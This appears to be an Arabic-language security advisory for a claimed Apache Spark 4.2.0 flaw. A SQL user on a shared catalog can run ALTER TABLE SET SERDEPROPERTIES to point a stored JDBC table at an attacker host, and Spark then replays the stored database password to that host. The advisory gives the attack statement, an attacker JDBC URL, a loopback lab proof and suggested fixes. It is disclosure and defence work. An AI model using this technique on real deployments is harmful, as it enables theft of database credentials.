
Apache Spark 4.2.0 - عالي - عن بُعد - حقن JDBC URL - ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
الفئة: حقن JDBC URL الوصول: عن بُعد
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 أوقف الخيارات الإضافية وقت الفحص من تجاوز url المخزّن لـ JDBC. لا يزال ALTER TABLE SET SERDEPROPERTIES يُدمج في storage.properties، وهو خريطة خيارات فحص JDBC. إن user / password المخزّنين ليسا اسمَي خيار في Spark JDBC، لذا ينتقلان إلى الـ URL الجديد.
يمكن لمستخدم SQL على كتالوج مشترك إعادة توجيه جدول USING jdbc مُهيّأ من قِبل المشغّل وإعادة إرسال كلمة مرور قاعدة البيانات المخزّنة إلى مضيف يختاره.
| المعرّف | لا يوجد CVE بعد |
| الفئة | حقن JDBC URL / إعادة استخدام بيانات اعتماد مخزّنة (بقايا SPARK-31710) |
| الوصول | عن بُعد (Connect أو Hive Thrift SQL على كتالوج مشترك) |
| CWE | CWE-15، CWE-522 |
| CVSS | مرتفع: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| المنتج | Apache Spark |
| المتأثر | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) جداول SQL v1 JDBC |
| المصادقة | مستخدم SQL على كتالوج مشترك (وليس jar لإرسال مهمة) |
| الترخيص | GNU Affero GPL v3.0 |
| المختبر | 127.0.0.1:18960 فقط |
جلسة Connect gRPC SQL أو جلسة Hive Thrift SQL على externalCatalog مشترك يحتوي بالفعل على جدول USING jdbc دائم مع بيانات اعتماد مخزّنة. ليس مُرسِل مهمة. وليست الجلسة التي حدّدت الـ URL الأصلي.
| الطريقة | المَصبّ | الصلاحية |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') ثم REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties ثم JDBC Driver.connect(url, properties) | السلامة: إعادة توجيه الجدول المُهيّأ إلى مستمع المهاجم. مُثبَت مختبريًا (connect=yes). السرّية: إعادة إرسال user / password المخزّنين لقاعدة البيانات على بدء تشغيل PostgreSQL والمصادقة النصية الصريحة. مُثبَت مختبريًا (user-replay=true password-replay=true). استطلاع السرّ عبر SHOW CREATE مغلق (مُخفّى). |
نفس الاستمرار، ثم SELECT من مستأجر لاحق على t | صف الكتالوج المشترك | السلامة، مُستنتَجة: استعلامات الجلسات الأخرى على t تصل الآن إلى الـ URL الجديد (قاعدة بيانات خاطئة، صفوف يتحكم بها المهاجم). التوفّر، مُستنتَج: قاعدة البيانات الأصلية غير قابلة للوصول حتى يعيد المسؤول ضبط serde. خارج النطاق بالنسبة لـ DoS. |
مفاتيح serde إضافية (sessionInitStatement، prepareQuery، driver) | خيارات الفحص على user / password المتبقّيين | السلامة، مُستنتَجة: عبارات إضافية أو مُنشئ بلا وسائط لـ Driver على مسار الفئة. لا تُضخّم إلى RCE دون أداة على مسار الفئة الافتراضي. لم يُختبر. |
ALTER TABLE SET TBLPROPERTIES | CatalogTable.properties فقط | مغلق لهذا المسار. مُثبَت مختبريًا (storage url دون تغيير، لا إصابة في الـ oracle). |
تعارض خيار url الإضافي وقت الفحص | SPARK-31710 generateDatasourceOptions | مغلق. مُثبَت مختبريًا (extra-options-clash مرفوض). |
spark.read.format("jdbc").option("url", ...) المحدّد من نفس الجلسة | مستوى البيانات المقصود | مُستبعَد. الـ URL الذي يتحكم به المالك ليس هذه البقايا. |
SET SERDE '<class>' على جدول datasource | اسم الفئة | مغلق (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). لم يُختبر. |
مغلق مجاور: JDBC / مسارات الملفات المحدّدة من الجلسة. فحص التعارض spark.sql.legacy.extraOptionsBehavior. لا يمتلك OSS Spark قائمة externalOptionsAllowList الخاصة بـ Unity. الـ URL في CREATE TABLE يتحكم به المالك (ليس هذه البقايا). إخفاء سجلّ JDBC URL غير مشروط. path لجدول الملفات يقع في locationUri. اتصالات JDBCTableCatalog تأتي من إعداد كتالوج الجلسة (نفس مستوى البيانات كاختيار URL). pyspark أحادي المستخدم دون كتالوج مشترك خارج النموذج.
ثبّتُ Spark 4.2.0، لا master ولا 4.3 RC. إرسال المهام على عنقود مفتوح مقصود بالتصميم. البقايا المثيرة للاهتمام تقع بجوار إصلاحات مُسمّاة. يرفض SPARK-31710 / generateDatasourceOptions خيار url مختلفًا وقت الفحص لمفتاح serde موجود. يكتب SET TBLPROPERTIES في table.properties فقط. لا تزال جداول datasource تسمح بـ SET SERDEPROPERTIES وتُدمج في storage.properties (++، المفاتيح اللاحقة تفوز). لا يدخل user وpassword أبدًا إلى jdbcOptionNames، لذا يسلّمهما asConnectionProperties إلى Driver.connect.
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
يُخفي SHOW CREATE كلمة المرور password. لا يستطيع مستخدم SQL قراءة السرّ مرة أخرى. لكنه لا يزال قادرًا على استغلاله.
المنعطفات الخاطئة المسجّلة مسبقًا: اعتبار url في CREATE TABLE هو العلّة؛ إعادة تقديم تعارض الخيارات الإضافية؛ توقّع أن SET TBLPROPERTIES سيحرّك storage؛ الادّعاء بأن SHOW CREATE يسرّب كلمة المرور؛ تشغيل عنقود كامل بينما Scala المذكور أداة؛ صدفة عكسية. الـ oracle هو بدء تشغيل PostgreSQL مع مصادقة نصية صريحة على loopback.
cd lab
./run.sh
Loopback 127.0.0.1:18960 هو مستمع بروتوكول PostgreSQL. صحة HTTP هي 127.0.0.1:18961. حاوية الأداة هي Temurin 21 مع libpostgresql-jdbc-java. الـ URL المخزّن هو jdbc:postgresql://127.0.0.1:1/provisioned (الاتصال مرفوض). الـ URL الهجومي هو jdbc:postgresql://oracle:18960/stolen. المستخدم المخزّن spark_jdbc. كلمة المرور المخزّنة stored-secret-SPARK-JDBC-SERDE-URL. اربطه بـ loopback.
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
ارفض مفاتيح SET SERDEPROPERTIES التي تتعارض مع url / user / password المخزّنة لـ JDBC، وهو نفس الفحص الذي يشغّله generateDatasourceOptions بالفعل للخيارات الإضافية وقت الفحص. أو أسقط user / password المخزّنين عند تغيّر url. أو عامل serde الخاص بـ datasource JDBC كخصائص جدول، لا كـ storage. حتى ذلك الحين، لا تمنح SQL غير الموثوق ALTER TABLE على جدول USING jdbc دائم يخزّن كلمة مرور.